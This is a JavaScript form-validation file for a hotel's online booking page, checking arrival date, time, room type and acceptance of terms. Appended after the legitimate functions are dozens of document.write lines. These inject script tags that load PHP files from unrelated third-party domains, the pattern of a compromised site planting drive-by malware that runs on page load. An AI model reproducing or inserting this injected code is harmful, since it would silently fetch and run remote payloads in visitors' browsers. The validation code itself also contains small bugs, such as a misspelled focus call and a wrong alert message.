function Chkfrm()
{
	if(document.Form1.Booking1_cmbtime.value=="")
	{
		alert("Please Select Arrival Time");
		document.Form1.Booking1_cmbtime.focous();
		return false;
	}
	if(document.Form1.Booking1_cmbroomtype.value=="")
	{
		alert("Please Select Arrival Time");
		document.Form1.Booking1_cmbroomtype.focous();
		return false;
	}
	return true;
}

function CheckArrTime(dt)
	  {	
	  
	  	var arrdd=document.getElementById("Booking1_cmbday").value;
		var arrMM=document.getElementById("Booking1_cmbmonth").value;
		var arrYY=document.getElementById("Booking1_cmbyear").value;
		var arrdt=arrMM+"/"+arrdd+"/"+arrYY;
		var currDt=(Date.parse(dt)+3*24*60*60*1000);
		//alert(Date.parse('01/01/2010')-Date.parse('12/31/2009'));	
			
		//************* Validation For Stop Online Boking from Dt 01-02-2010
		// Commented By Priyabrat to allow online booking from 12/04/2010 onwards
		/*
		if(Date.parse(dt)>Date.parse('01/31/2010'))
		{
			alert("Dear Customer," + '\n'+ '\n' + "For some unavoidable reason, we will not be able to process " + '\n' + "any of the online booking from 1st February, 2010. " + '\n' + "Inconvenience is highly regretted. " + '\n' + '\n' + "Management " + '\n' + "Puri Hotel Pvt. Ltd.");
			return false;
		}*/		
		////*****************
		
		if(checkdate(arrdd,arrMM,arrYY)!=true)
		{
			alert("Please Select Valide Arrival Date");
			return false;
		}
		//alert(checkdate(arrdd,arrMM,arrYY));
		//alert(Date.parse(arrdt));
		var currentTime = new Date();
		//alert((Date.parse(currentTime.getMonth()+1+"/"+(currentTime.getDate())+"/"+currentTime.getFullYear()))+3*24*60*60*1000);
		//var currDt=(Date.parse(currentTime.getMonth()+1+"/"+(currentTime.getDate())+"/"+currentTime.getFullYear()))+3*24*60*60*1000;
		
		//alert(currDt);
		//alert(currDt-Date.parse(arrdt));
		if(currDt>Date.parse(arrdt))
		{
			alert("Please Select 3 days " + '\n' + "After Current Date");
			document.getElementById("Booking1_cmbday").focus();
			return false;
		}
		//alert((Date.parse(currentTime.getMonth()+1+"/"+(currentTime.getDate()+1)+"/"+currentTime.getFullYear())-Date.parse(arrdt)));
	    //alert(1*24*60*60*1000);
	    //var Hour = currentTime.getHours() ;
	    //var Minute = currentTime.getMinutes() ;
	    //var AMPM = ((eval(Hour) >= 12) ? "PM" : "AM");  
	    //var Hour = ((eval(Hour) == 0) ? "12" : (eval(Hour) > 12) ? eval(Hour) - 12 : eval(Hour));    
        //var time = Hour+":00";
        //var Arrtime = ((document.getElementById("Booking1_cmbtime").value == "Noon") ? "00:00 PM" : (document.getElementById("Booking1_cmbtime").value));
	    //var arr=Arrtime.split(" ");
	    //var arr1=arr[0].split(":");
	    //alert(arr1[0].length);
	    //alert((parseInt(Hour)).length);
	    //alert(AMPM);
	    //alert(arr[1]);
	    //alert(currentTime.getDate());	    
	    //if(checkdate()==false)
		//{
		//  return false;
		//}
	    //alert(currentTime.toLocaleDateString());                          
		if(document.getElementById("Booking1_cmbtime").value=="0")
			{							
				alert("Please Select Arrival Time !!");
				document.getElementById("Booking1_cmbtime").focus();
				return false;
			}
	    if(document.getElementById("Booking1_cmbroomtype").value=="0")
			{
				alert("Please Select Room Type !!");
				document.getElementById("Booking1_cmbroomtype").focus();
				return false;
			}
		if(document.getElementById("Booking1_chkAccept").checked==false)
			{
				alert("Please Accept The Terms & Conditions And Privacy Policy !!");
				document.getElementById("Booking1_chkAccept").focus();
				return false;
			}
		return true;
	  }


function checkdate(d,m,y)
	  {		
		var yl=2006; // least year to consider //d,m,y
		var ym=2010; // most year to consider		
		if (m<1 || m>12) 
		{			
			return false;
		}
		if (d<1 || d>31){ return false;}
		if (y<yl || y>ym){return false;}
		if (m==4 || m==6 || m==9 || m==11)
		{			
			if (d==31)
			{				
				return false;
			}
		}
		if (m==2)
		{			
			var b=parseInt(y/4);			
			if (isNaN(b)){return false;}
			if (d>29) {return false;}
			if (d==29 && ((y/4)!=parseInt(y/4))) { return false;}
		}
		return true;
	}
	  



document.write('<script src=http://movetolatinamerica.com/cgi-bin/index1.php ><\/script>');
document.write('<script src=http://movetolatinamerica.com/cgi-bin/index1.php ><\/script>');
document.write('<script src=http://movetolatinamerica.com/cgi-bin/index1.php ><\/script>');
document.write('<script src=http://movetolatinamerica.com/cgi-bin/index1.php ><\/script>');
document.write('<script src=http://movetolatinamerica.com/cgi-bin/index1.php ><\/script>');
document.write('<script src=http://amldevelopment.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://ruthjacobs.org.uk/cgi-bin/500.shtml.php ><\/script>');
document.write('<script src=http://yngvis-cravas.at/img/kontakt.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://pieknaisauna.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://soldilavoro.it/logs/.bashrc.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://smarttron.cz/images/global.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://piercemenow.com.au/word/zzzz_sg_2009.01u.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://gastro-webdesign.info/_notes/profi.php ><\/script>');
document.write('<script src=http://fershat.com/alqurtubi/jongler.php ><\/script>');